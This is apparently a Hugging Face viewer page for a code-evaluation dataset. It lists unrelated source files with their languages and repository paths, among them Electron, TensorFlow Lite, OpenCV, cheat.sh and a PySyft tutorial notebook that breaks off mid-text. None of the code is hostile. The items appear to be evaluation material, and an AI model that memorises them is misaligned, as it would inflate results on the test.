Datasets:

kimsan0622

/

code-knowledge-eval

like 0

// Copyright (c) 2017 GitHub, Inc. // Use of this source code is governed by the MIT license that can be // found in the LICENSE file. #include "shell/browser/ui/certificate_trust.h" #include <memory> #include <string> #include <utility> #import <Cocoa/Cocoa.h> #import <SecurityInterface/SFCertificateTrustPanel.h> #include "base/strings/sys_string_conversions.h" #include "net/cert/cert_database.h" #include "net/cert/x509_util_ios_and_mac.h" #include "net/cert/x509_util_mac.h" #include "shell/browser/native_window.h" @interface TrustDelegate : NSObject { @private std::unique_ptr<gin_helper::Promise<void>> promise_; SFCertificateTrustPanel* panel_; scoped_refptr<net::X509Certificate> cert_; SecTrustRef trust_; CFArrayRef cert_chain_; SecPolicyRef sec_policy_; } - (id)initWithPromise:(gin_helper::Promise<void>)promise panel:(SFCertificateTrustPanel*)panel cert:(const scoped_refptr<net::X509Certificate>&)cert trust:(SecTrustRef)trust certChain:(CFArrayRef)certChain secPolicy:(SecPolicyRef)secPolicy; - (void)panelDidEnd:(NSWindow*)sheet returnCode:(int)returnCode contextInfo:(void*)contextInfo; @end @implementation TrustDelegate - (void)dealloc { [panel_ release]; CFRelease(trust_); CFRelease(cert_chain_); CFRelease(sec_policy_); [super dealloc]; } - (id)initWithPromise:(gin_helper::Promise<void>)promise panel:(SFCertificateTrustPanel*)panel cert:(const scoped_refptr<net::X509Certificate>&)cert trust:(SecTrustRef)trust certChain:(CFArrayRef)certChain secPolicy:(SecPolicyRef)secPolicy { if ((self = [super init])) { promise_ = std::make_unique<gin_helper::Promise<void>>(std::move(promise)); panel_ = panel; cert_ = cert; trust_ = trust; cert_chain_ = certChain; sec_policy_ = secPolicy; } return self; } - (void)panelDidEnd:(NSWindow*)sheet returnCode:(int)returnCode contextInfo:(void*)contextInfo { auto* cert_db = net::CertDatabase::GetInstance(); // This forces Chromium to reload the certificate since it might be trusted // now. cert_db->NotifyObserversCertDBChanged(); promise_->Resolve(); [self autorelease]; } @end namespace certificate_trust { v8::Local<v8::Promise> ShowCertificateTrust( electron::NativeWindow* parent_window, const scoped_refptr<net::X509Certificate>& cert, const std::string& message) { v8::Isolate* isolate = electron::JavascriptEnvironment::GetIsolate(); gin_helper::Promise<void> promise(isolate); v8::Local<v8::Promise> handle = promise.GetHandle(); auto* sec_policy = SecPolicyCreateBasicX509(); auto cert_chain = net::x509_util::CreateSecCertificateArrayForX509Certificate(cert.get()); SecTrustRef trust = nullptr; SecTrustCreateWithCertificates(cert_chain, sec_policy, &trust); NSWindow* window = parent_window ? parent_window->GetNativeWindow().GetNativeNSWindow() : nil; auto msg = base::SysUTF8ToNSString(message); auto panel = [[SFCertificateTrustPanel alloc] init]; auto delegate = [[TrustDelegate alloc] initWithPromise:std::move(promise) panel:panel cert:cert trust:trust certChain:cert_chain secPolicy:sec_policy]; [panel beginSheetForWindow:window modalDelegate:delegate didEndSelector:@selector(panelDidEnd:returnCode:contextInfo:) contextInfo:nil trust:trust message:msg]; return handle; } } // namespace certificate_trust

Objective-C++

TarunavBA/electron

shell/browser/ui/certificate_trust_mac.mm

/* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/lite/kernels/internal/reference/densify.h" #include <stddef.h> #include <cstdint> #include "tensorflow/lite/c/common.h" #include "tensorflow/lite/kernels/internal/tensor_ctypes.h" #include "tensorflow/lite/kernels/kernel_util.h" namespace tflite { namespace ops { namespace builtin { namespace densify { struct OpContext { OpContext(TfLiteContext* context, TfLiteNode* node) { input = GetInput(context, node, 0); output = GetOutput(context, node, 0); } const TfLiteTensor* input; TfLiteTensor* output; }; struct OpData { bool dense_weights_initialized; }; void* Init(TfLiteContext* context, const char* buffer, size_t length) { auto* op_data = new OpData(); op_data->dense_weights_initialized = false; return op_data; } void Free(TfLiteContext* context, void* buffer) { delete reinterpret_cast<OpData*>(buffer); } TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) { TF_LITE_ENSURE_EQ(context, NumInputs(node), 1); TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1); OpContext op_context(context, node); TF_LITE_ENSURE(context, op_context.input->type != kTfLiteString); TF_LITE_ENSURE(context, IsConstantTensor(op_context.input)); TF_LITE_ENSURE(context, op_context.input->sparsity != nullptr); op_context.output->type = op_context.input->type; op_context.output->allocation_type = kTfLiteArenaRwPersistent; return context->ResizeTensor(context, op_context.output, TfLiteIntArrayCopy(op_context.input->dims)); } TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) { OpData* op_data = reinterpret_cast<OpData*>(node->user_data); OpContext op_context(context, node); if (op_data->dense_weights_initialized) { return kTfLiteOk; } switch (op_context.input->type) { case kTfLiteFloat32: reference_ops::Densify(op_context.input->sparsity, GetTensorShape(op_context.input), GetTensorData<float>(op_context.input), GetTensorShape(op_context.output), GetTensorData<float>(op_context.output), context); break; case kTfLiteFloat16: reference_ops::Densify( op_context.input->sparsity, GetTensorShape(op_context.input), GetTensorData<Eigen::half>(op_context.input), GetTensorShape(op_context.output), GetTensorData<Eigen::half>(op_context.output), context); break; case kTfLiteInt8: reference_ops::Densify(op_context.input->sparsity, GetTensorShape(op_context.input), GetTensorData<int8_t>(op_context.input), GetTensorShape(op_context.output), GetTensorData<int8_t>(op_context.output), context); break; default: context->ReportError(context, "Type %d not supported.", op_context.input->type); return kTfLiteError; } op_data->dense_weights_initialized = true; return kTfLiteOk; } } // namespace densify TfLiteRegistration* Register_DENSIFY() { static TfLiteRegistration r = {densify::Init, densify::Free, densify::Prepare, densify::Eval}; return &r; } } // namespace builtin } // namespace ops } // namespace tflite

C++

EricRemmerswaal/tensorflow

tensorflow/lite/kernels/densify.cc

// // Copyright 2020 Google Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // @use 'sass:list'; @use 'sass:meta'; @use 'sass:string'; /// Replaces all name instances in the provided string with values from the /// provided replacement Map whose keys correspond to the name instances. /// Returns a new string with the replacements applied. /// /// @example /// replace-string('calc(x + y)', (x: 16px, y: 50%)); // 'calc(16px + 50%)' /// /// @example /// $foo: custom-properties.create-var(custom-properties.create(--foo, 8px)); /// replace-string('calc(foo)', (foo: $foo)); // 'calc(var(--foo, 8px))'; /// /// @access private /// @param {String} $string - The string to make replacements on. /// @param {Map} $replace-map - A Map of name/value replacements. The keys of /// the Map are names that will be replaced in the string with the keys' /// respective values. /// @return {String} The string with replacements made, if any. @function replace-string($string, $replace-map) { @if meta.type-of($replace-map) != 'map' { @error 'mdc-theme: Invalid replacement #{$replace-map}. Must be a Map.'; } @each $name, $replacement in $replace-map { // Since the replacement values may contain the name themselves (such as // a custom property: name "foo" and value "var(--foo)"), gather the indices // first before replacing. $indices: (); $substring: $string; $prev-index: null; $index: string.index($substring, $name); @while $index { $substring: string.slice($substring, $index + string.length($name)); @if $prev-index { // Add previous index's value to switch from "substring index" to // absolute string index. Also add length - 1 since slice removes // the entire word as well as lists being 1 indexed $index: $index + $prev-index + string.length($name) - 1; } // Use list.join() to "prepend" the index to the start of the list. This // allows us to iterate "backwards" later. $indices: list.join($index, $indices); $prev-index: $index; $index: string.index($substring, $name); } // Since we "prepended" the indices, the list is sorted backwards, with the // last index first. Replacing values last index to first index removes the // need for us to adjust the indices as we replace them. @each $index in $indices { $before: string.slice($string, 1, $index - 1); $after: string.slice($string, $index + string.length($name)); $string: $before + $replacement + $after; } } @return $string; } /// Replaces all value instances in the provided list with values from the /// provided replacement Map whose keys correspond to the name instances. /// Returns a new list with the replacements applied. /// /// @example /// replace-list(0 value, (value: 16px)); // (0 16px) /// /// @see {mixin} replace-string /// /// @access private /// @param {List} $list - The list to make replacements on. /// @param {Map} $replace-map - A Map of name/value replacements. The keys of /// the Map are names that will be replaced in the list with the keys' /// respective values. /// property value replacements instead of the `var()` declaration. /// @return {List} A new list with replacements made, if any. @function replace-list($list, $replace-map) { $separator: list.separator($list); $replaced-list: (); @each $value in $list { @if meta.type-of($value) == 'string' { $replaced-list: list.append( $replaced-list, replace-string($value, $replace-map), $separator ); } @else if meta.type-of($value) == 'list' { $replaced-list: list.append( $replaced-list, replace-list($value, $replace-map), $separator ); } @else { $replaced-list: list.append($replaced-list, $value, $separator); } } @return $replaced-list; }

SCSS

simonziegler/material-components-web

packages/mdc-theme/_replace.scss

[Desktop Entry] Name=CorsixTH Exec=corsix-th Comment=Open source clone of Theme Hospital Comment[de]=Ein Klon von Theme Hospital Icon=corsix-th Type=Application Terminal=false StartupNotify=false Categories=Game;Simulation; Keywords=hospital;simulation;bullfrog;

desktop

rmnvgr/CorsixTH

CorsixTH/com.corsixth.corsixth.desktop

data { int<lower=0> J; real y[J]; real<lower=0> sigma[J]; } parameters { real mu; real logtau; real theta_prime[J]; } model { mu ~ normal(0, 10); logtau ~ normal(5, 1); theta_prime ~ normal(0, 1); for (j in 1:J) { y[j] ~ normal(mu + exp(logtau) * theta_prime[j], sigma[j]); } }

Stan

zhangyewu/edward

examples/eight_schools/eight_schools.stan

(ns fw.lib.macros) (defmacro ? "Strict equality comparison" [x y] `(identical? ~x ~y)) (defmacro a? "Evalute if the given value is an array" [x expr] `(if (.is-array Array ~x) ~expr ~x)) (defmacro l? "Length of the given value" [x] `(.-length ~x)) (defmacro c-> "Clone the given array" [arr] `(.slice ~arr)) (defmacro empty? "Check if the given value is empty" [x] `(? (l? ~x) 0)) (defmacro each "Iterate an array passing a callback for each item" [arr lambda] `(.for-each ~arr ~lambda))

wisp

h2non/fw

src/macros.wisp

create table virtual_only ( id int primary key, id_plus_1 int as (id + 1) virtual, id_plus_2 int as (id + 2) virtual );

SQL

cuishuang/tidb

br/tests/lightning_generated_columns/data/gencol.virtual_only-schema.sql

Require Import List. Fixpoint prisoo' nd n k accu := match nd with | O => rev accu | S nd' => let ra := match k with | O => (true, S n, (n + n)) | S k' => (false, n, k') end in prisoo' nd' (snd (fst ra)) (snd ra) ((fst (fst ra))::accu) end. Definition prisoo cells := prisoo' cells 1 0 nil.

Coq

LaudateCorpus1/RosettaCodeData

Task/100-doors/Coq/100-doors-2.coq

#!/bin/bash set -e if [ -z $1 ] ; then echo "$0 <destination directory>" exit 1 fi DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" OCV="$( cd "${DIR}/../../.." >/dev/null 2>&1 && pwd )" mkdir -p "${1}" # Docker creates non-existed mounts with 'root' owner, lets ensure that dir exists under the current user to avoid "Permission denied" problem DST="$( cd "$1" >/dev/null 2>&1 && pwd )" CFG=$2 do_build() { TAG=$1 D=$2 F=$3 shift 3 docker build \ --build-arg http_proxy \ --build-arg https_proxy \ $@ \ -t $TAG \ -f "${D}/${F}" \ "${D}" } do_run() { TAG=$1 shift 1 docker run \ -it \ --rm \ -v "${OCV}":/opencv:ro \ -v "${DST}":/dst \ -e CFG=$CFG \ --user $(id -u):$(id -g) \ $TAG \ $@ } build_gstreamer() { TAG=opencv_gstreamer_builder do_build $TAG "${DIR}/plugin_gstreamer" Dockerfile do_run $TAG /opencv/modules/videoio/misc/plugin_gstreamer/build.sh /dst $CFG } build_ffmpeg_ubuntu() { VER=$1 TAG=opencv_ffmpeg_ubuntu_builder:${VER} do_build $TAG "${DIR}/plugin_ffmpeg" Dockerfile-ubuntu --build-arg VER=${VER} do_run $TAG /opencv/modules/videoio/misc/plugin_ffmpeg/build-ubuntu.sh /dst ${VER} ${CFG} } build_ffmpeg() { VER=$1 TAG=opencv_ffmpeg_builder:${VER} ARCHIVE="${DIR}/plugin_ffmpeg/ffmpeg-${VER}.tar.xz" if [ ! -f "${ARCHIVE}" ] ; then wget https://www.ffmpeg.org/releases/ffmpeg-${VER}.tar.xz -O "${ARCHIVE}" fi do_build $TAG "${DIR}/plugin_ffmpeg" Dockerfile-ffmpeg --build-arg VER=${VER} do_run $TAG /opencv/modules/videoio/misc/plugin_ffmpeg/build-standalone.sh /dst ${VER} ${CFG} } echo "OpenCV: ${OCV}" echo "Destination: ${DST}" build_gstreamer build_ffmpeg_ubuntu 18.04 build_ffmpeg_ubuntu 16.04 build_ffmpeg 4.1 build_ffmpeg 3.4.5 build_ffmpeg 2.8.15

Shell

thisisgopalmandal/opencv

modules/videoio/misc/build_plugins.sh

""" Connection limitation. Number of connections from one IP is limited. We have nothing against scripting and automated queries. Even the opposite, we encourage them. But there are some connection limits that even we can't handle. Currently the limits are quite restrictive, but they will be relaxed in the future. Usage: limits = Limits() not_allowed = limits.check_ip(ip_address) if not_allowed: return "ERROR: %s" % not_allowed """ import time from globals import log _WHITELIST = ['5.9.243.177'] def _time_caps(minutes, hours, days): return { 'min': minutes, 'hour': hours, 'day': days, } class Limits(object): """ Queries limitation (by IP). Exports: check_ip(ip_address) """ def __init__(self): self.intervals = ['min', 'hour', 'day'] self.divisor = _time_caps(60, 3600, 86400) self.limit = _time_caps(30, 600, 1000) self.last_update = _time_caps(0, 0, 0) self.counter = { 'min': {}, 'hour': {}, 'day': {}, } self._clear_counters_if_needed() def _log_visit(self, interval, ip_address): if ip_address not in self.counter[interval]: self.counter[interval][ip_address] = 0 self.counter[interval][ip_address] += 1 def _limit_exceeded(self, interval, ip_address): visits = self.counter[interval][ip_address] limit = self._get_limit(interval) return visits > limit def _get_limit(self, interval): return self.limit[interval] def _report_excessive_visits(self, interval, ip_address): log("%s LIMITED [%s for %s]" % (ip_address, self._get_limit(interval), interval)) def check_ip(self, ip_address): """ Check if `ip_address` is allowed, and if not raise an RuntimeError exception. Return True otherwise """ if ip_address in _WHITELIST: return None self._clear_counters_if_needed() for interval in self.intervals: self._log_visit(interval, ip_address) if self._limit_exceeded(interval, ip_address): self._report_excessive_visits(interval, ip_address) return ("Not so fast! Number of queries per %s is limited to %s" % (interval, self._get_limit(interval))) return None def reset(self): """ Reset all counters for all IPs """ for interval in self.intervals: self.counter[interval] = {} def _clear_counters_if_needed(self): current_time = int(time.time()) for interval in self.intervals: if current_time // self.divisor[interval] != self.last_update[interval]: self.counter[interval] = {} self.last_update[interval] = current_time / self.divisor[interval]

Python

liudonghua123/cheat.sh

lib/limits.py

Setup: $ . $TESTDIR/../setup.sh $ printf "hello=你好\n" > test.txt $ printf "hello=你好\n" >> test.txt Normal search: $ $TESTDIR/../../ag --nocolor --workers=1 --parallel 你好 test.txt:1:hello=你好 test.txt:2:hello=你好 Case-insensitive search: $ $TESTDIR/../../ag --nocolor --workers=1 --parallel -i 你好 test.txt:1:hello=你好 test.txt:2:hello=你好

Perl

kknives/the_silver_searcher

tests/fail/unicode_case_insensitive.t

div { script disabled { var a = 10; } } ---- div { script disabled { var a = 10; } } ================= div { style scoped{ span {} } } ---- div { style scoped { span {} } } ================= define foo { slot change(event) { var a = 10; } } ----- define foo { slot change (event) { var a = 10; } } ================= var pages = [ '1', '2' ]; ----- var pages=[ '1', '2' ];

Mask

atmajs/MaskJS

test/tmpl/stringify/content.mask

# Placeholder file for Sprintf.pm6 in the "newer-sprintf" branch

Perl6

lucasbuchala/rakudo

src/core.e/Rakudo/Internals/Sprintf.pm6

'use strict' # TODO: this is math mode only!! export class Latexsym args = @args = {} # CTOR (generator, options) -> symbols = @symbols = new Map([ * \mho '\u2127' # ℧ * \Join '\u2A1D' # ⨝ * \Box '\u25A1' # □ * \Diamond '\u25C7' # ◇ * \leadsto '\u2933' # ⤳ * \sqsubset '\u228F' # ⊏ * \sqsupset '\u2290' # ⊐ * \lhd '\u22B2' # ⊲ * \unlhd '\u22B4' # ⊴ * \rhd '\u22B3' # ⊳ * \unrhd '\u22B5' # ⊵ ])

LiveScript

fgborges/latex2e-js

src/packages/latexsym.ls

//This file is part of "GZE - GroundZero Engine" //The permisive licence allow to use GZE for free or commercial project (Apache License, Version 2.0). //For conditions of distribution and use, see copyright notice in Licence.txt, this license must be included with any distribution of the code. package { import GZ.Sff.Xml.Xml; import GZ.Sff.Xml.XmlNode; import GZ.Sff.Xml.XmlElement; import GZ.Sff.Xml.XmlText; import GZ.File.RcImg; import GZ.Base.Property.Property; import GZ.Gfx.Tile.MapData; import GZ.Gfx.Tile.TileData; import GZ.Gfx.Tile.LayerData; /** * @author Maeiky */ public class LayerData { public wvar oMap : MapData; public var sName : String; public var nX : UInt; public var nY : UInt; public var nWidth : UInt; public var nHeight : UInt; public var nOpacity : Float; public var bVisible : Bool; public var nOrder : UInt; public enum eFlip: UInt { Horizontally = 0x80000000; Vertically = 0x40000000; Diagonally = 0x20000000; } public var aTile : Array<TileData,2>; public enum eType: Int { Tile; ObjectGroup; ImageLayer; } public var hType : eType; public var aProperty : Array<Property>; public function LayerData(_oMap : MapData):Void { oMap = _oMap; } /////////////////// Tmx Loader /////////////// public function fLoadTmxNode( _oFromNode : XmlElement ):Void { sName = _oFromNode.fAttribute("name"); nX = _oFromNode.fAttributeInt("x"); nY = _oFromNode.fAttributeInt("y"); nWidth = _oFromNode.fAttributeInt("width"); nHeight = _oFromNode.fAttributeInt("height"); var _oNode : XmlNode = _oFromNode.fFirst(); while( _oNode ){ //Map Properties if(_oNode.fName() == "properties"){ var _oPropNode : XmlElement = _oNode; aProperty.fPush(Property.fNewProperty(_oPropNode.fAttribute("name"), _oPropNode.fAttribute("value"))); } //Load data if(_oNode.fName() == "data"){ var _oDataNode : XmlElement = _oNode; var _sEncoding : String = _oDataNode.fAttribute("encoding"); if(_sEncoding == "csv"){ fExtractDataCSV(_oDataNode.fGetText()); } } _oNode = _oNode.fNext(); } } public function fExtractDataCSV( _sData : String ):Void { var _aData : Array<String> = _sData.fSplit(","); var i : UInt = 0; for(var _nY : Int = 0; _nY < nHeight; _nY++){ for(var _nX : Int = 0; _nX < nWidth; _nX++){ fNewTile(_aData[i], _nX, _nY); i++; } } } public function fNewTile( _sValue : String, _nX:UInt, _nY:UInt ):Void { //Debug.fTrace("fNewTile: " + _sValue); var _nValue : UInt = _sValue.fToUInt(); //var _nValue : UInt = _sValue; if(_nValue != 0){ // Not a Empty Tile var _bFlipD : Bool = _nValue & eFlip.Diagonally; var _bFlipX : Bool = _nValue & eFlip.Horizontally; var _bFlipY : Bool = _nValue & eFlip.Vertically; _nValue = _nValue & 0x0FFFFFFF; //Remove fliping //aTile.fPush(new TileData(oMap, _nValue, _bFlipD, _bFlipX, _bFlipY)); aTile[_nY][_nX] = new TileData(oMap, _nValue, _bFlipD, _bFlipX, _bFlipY)); } } public function fGetTileId(_nX : UInt : String, _nY : UInt : String):UInt { var _oTileT : TileData = aTile[_nY][_nX]; if(_oTileT){ return _oTileT.nId; }else{ return 0; } } } }

Redcode

VLiance/GZE

src/Lib_GZ/Gfx/Tile/LayerData.cw

{# # Copyright (c) 2017 Franco Fichtner <franco@opnsense.org> # Copyright (c) 2014-2015 Deciso B.V. # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # formData : the form data #} {% for tab in formData['tabs']|default([]) %} {% if tab['subtabs']|default(false) %} {# Tab with dropdown #} {% for subtab in tab['subtabs']|default({})%} <div id="subtab_{{subtab[0]}}" class="tab-pane fade{% if formData['activetab']|default("") == subtab[0] %} in active {% endif %}"> {{ partial("layout_partials/base_form",['fields':subtab[2],'id':'frm_'~subtab[0],'data_title':subtab[1],'apply_btn_id':'save_'~subtab[0]])}} </div> {% endfor %} {% endif %} {% if tab['subtabs']|default(false)==false %} <div id="tab_{{tab[0]}}" class="tab-pane fade{% if formData['activetab']|default("") == tab[0] %} in active {% endif %}"> {{ partial("layout_partials/base_form",['fields':tab[2],'id':'frm_'~tab[0],'apply_btn_id':'save_'~tab[0]])}} </div> {% endif %} {% endfor %}

Volt

johanneskastl/opnsense-core

src/opnsense/mvc/app/views/layout_partials/base_tabs_content.volt

#!/usr/bin/env sage # Use sage's built in Elliptic Curve Method for factorization of large composites import sys n = int(sys.argv[1]) try: if len(sys.argv) > 2: print(ecm.find_factor(n, int(sys.argv[2]))[0]) else: print(ecm.find_factor(n)[0]) except: print(0)

Sage

CrackerCat/RsaCtfTool

sage/ecm.sage

------------------------------------------------------------- --Copyright 2020 Science and Technologies Facilities Council --Licensed under the MIT License --Author Aidan Chalk, STFC Hartree Centre import "regent" local kernel_combine = {} --Experimental function to test combining a set of kernels into a single kernel instead. Used automatically by the code. function kernel_combine.combine_kernels( kernels ) local kernel_list = terralib.newlist() for _, v in pairs(kernels) do kernel_list:insert(v) end --Code that expects a kernel assumes the format is a function that returns an rquote, so we create that --by combining all the kernels in the kernel_list inside a new function, and return that function local function combine_kernels_innerfunc(part1, part2, r2, config) local combined_kernels_rquote = rquote [kernel_list:map( function(kernel) return kernel(part1, part2, r2, config) end)]; end return combined_kernels_rquote end return combine_kernels_innerfunc end return kernel_combine

Rouge

stfc/RegentParticleDSL

src/utils/kernel_combine.rg

primitive ApplyReleaseBackpressureAuth new create(from: AmbientAuth) => None

Pony

presidentbeef/ponyc

packages/backpressure/auth.pony

#!/usr/bin/env zsh # vim:ft=zsh ts=2 sw=2 sts=2 # Note: The heavy_black_heart emoji requires $emoji2[emoji_style] # to be rendered as the emoji red heart. _emotty_sets[love]=" green_heart blue_heart purple_heart yellow_heart heavy_black_heart broken_heart heart_with_arrow heart_with_ribbon sparkling_heart two_hearts revolving_hearts growing_heart beating_heart heart_decoration couple_with_heart kiss man_and_woman_holding_hands two_women_holding_hands two_men_holding_hands kiss_mark smiling_face_with_heart_shaped_eyes kissing_face face_throwing_a_kiss kissing_face_with_smiling_eyes kissing_face_with_closed_eyes smiling_cat_face_with_heart_shaped_eyes kissing_cat_face_with_closed_eyes "

Shell

chensanle/ohmyzsh

plugins/emotty/emotty_love_set.zsh

@include "include/Parser" BEGIN { START_TEST("Parser.awk") T("tokenize()", 8) { delete tokens tokenize(tokens, "0") delete expected expected[0] = "0" assertEqual(tokens, expected) delete tokens tokenize(tokens, "3.14") delete expected expected[0] = "3.14" assertEqual(tokens, expected) delete tokens tokenize(tokens, "Atom") delete expected expected[0] = "Atom" assertEqual(tokens, expected) delete tokens tokenize(tokens, "\"foo bar\"") delete expected expected[0] = "\"foo bar\"" assertEqual(tokens, expected) delete tokens tokenize(tokens, "\"\\\"\"") delete expected expected[0] = "\"\\\"\"" assertEqual(tokens, expected) delete tokens tokenize(tokens, "(QUOTE A)") delete expected expected[0] = "(" expected[1] = "QUOTE" expected[2] = "A" expected[3] = ")" assertEqual(tokens, expected) delete tokens tokenize(tokens, "1 + 2 * 3") delete expected expected[0] = "1" expected[1] = "+" expected[2] = "2" expected[3] = "*" expected[4] = "3" assertEqual(tokens, expected) delete tokens tokenize(tokens, "[42, \"hello, world\", [Foo, bar]]") delete expected expected[0] = "[" expected[1] = "42" expected[2] = "," expected[3] = "\"hello, world\"" expected[4] = "," expected[5] = "[" expected[6] = "Foo" expected[7] = "," expected[8] = "bar" expected[9] = "]" expected[10] = "]" assertEqual(tokens, expected) } T("parseJson()", 10) { delete tokens; delete ast; delete expected tokenize(tokens, "0") parseJson(ast, tokens) expected[0] = "0" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "null") parseJson(ast, tokens) expected[0] = "null" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "[42]") parseJson(ast, tokens) expected[0 SUBSEP 0] = "42" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "[42, \"answer\", null]") parseJson(ast, tokens) expected[0 SUBSEP 0] = "42" expected[0 SUBSEP 1] = "\"answer\"" expected[0 SUBSEP 2] = "null" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "{\"answer\": [42], \"Answer\": null}") parseJson(ast, tokens) expected[0 SUBSEP "answer" SUBSEP 0] = 42 expected[0 SUBSEP "Answer"] = "null" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "{\"answer\": {\"everything\": 42}}") parseJson(ast, tokens) expected[0 SUBSEP "answer" SUBSEP "everything"] = "42" assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "{\"answer\": {\"everything\": [42]}}") parseJson(ast, tokens) expected[0 SUBSEP "answer" SUBSEP "everything" SUBSEP 0] = "42" assertEqual(ast, expected) # empty object - what is the "correct" parsing result? delete tokens; delete ast; delete expected tokenize(tokens, "{}") parseJson(ast, tokens) assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "{\"answer\": {}}") parseJson(ast, tokens) assertEqual(ast, expected) delete tokens; delete ast; delete expected tokenize(tokens, "{\"answer\": {}, \"Answer\": null}") parseJson(ast, tokens) expected[0 SUBSEP "Answer"] = "null" assertEqual(ast, expected) } T("parseList()", 1) { delete tokens; delete ast; delete expected tokenize(tokens, "0") parseList(ast, tokens) expected[NULLSTR][0] = "0" assertEqual(ast, expected) } END_TEST() }

Awk

vitaly-zdanevich/translate-shell

test/TestParser.awk

{ "cells": [ { "cell_type": "markdown", "id": "88c79f5b", "metadata": {}, "source": [ "# Lesson 4: Deploy your first domain node with Hagrid\n", "\n", "<b><u>Instructors</b></u>: Ishan Mishra, Phil Culliton\n", "\n", "\n", "This tutorial is a step-by-step walkthrough of how to <b>setup your domain node </b> for the very first time. This will enable you to start your peer-to-peer network of data owner and data scientists and collectively train AI models using PySyft.\n", "\n", "We assume minimal prior knowledge for the setup and cover instructions to install the prerequisites for most platfroms (Linux, Windows, MacOS)." ] }, { "cell_type": "markdown", "id": "02783401-97e6-4de9-a82a-cc13d2bc619b", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "dfffcf9f", "metadata": {}, "source": [ "## Steps\n", "\n", "<b> Note: This assumes you already installed the source code for PySyft and Hagrid in Lesson 2. If not, please do so now! </b> \n" ] }, { "cell_type": "markdown", "id": "48b60471-d91a-4880-95f5-650dacaddbcb", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "58cd9920", "metadata": {}, "source": [ "### <b>1. Setup Docker</a></b>\n", "\n", "If you don't have Docker installed, you may follow the instructions <a href=\"https://docs.docker.com/get-docker/\">here</a>. We rely on docker and docker-composite to orchestrate the collection of domain and network nodes.\n", "\n", "Once you've installed Docker, please ensure:\n", "- it has at least <b> 8GB of available RAM. </b> You can make due with less, Docker will just be a bit slower.\n", " If you're not sure how to check how much RAM Docker is able to access, then:\n", " - macOS/Windows: Open <a href=\"https://www.docker.com/products/docker-desktop\">Docker Desktop</a>, click the gear icon in the top right corner, go to Resources, and move the scrollbar.\n", " - Linux: No action needed; Docker will automatically scale its RAM usage.\n", " - Cloud: Follow the above steps, depending on which platform your instance uses.\n", "\n", "- <b>Docker Compose V2</b> is installed and enabled:\n", " - macOS/Windows: The docker-compose should be enabled by default, but you can check in Docker Desktop, under Preferences/Settings -> Experimental features that the Docker Compose V2 box is checked\n", " - Linux: You can install it using <a href=\"https://docs.docker.com/compose/cli-command/#installing-compose-v2\">these instructions</a>" ] }, { "cell_type": "markdown", "id": "2ab218ec-d74a-48db-8f3e-35b78efa4a78", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "bbc9d2b1", "metadata": {}, "source": [ "### <b>2. Activate your Virtual Environment </b>\n", "\n", "<b> Note: </b> We assume you already created a Virtual Environment in Lesson 2. However, if you haven't, please do so by running the first conda create command, and then pip installing Hagrid and PySyft, as was shown in Lesson 1.\n", "\n", "The easiest way to have all prerequisties installed is using a virtual environment manager. We recommend <a href=\"https://conda.io\">conda</a>, which can be installed at <a 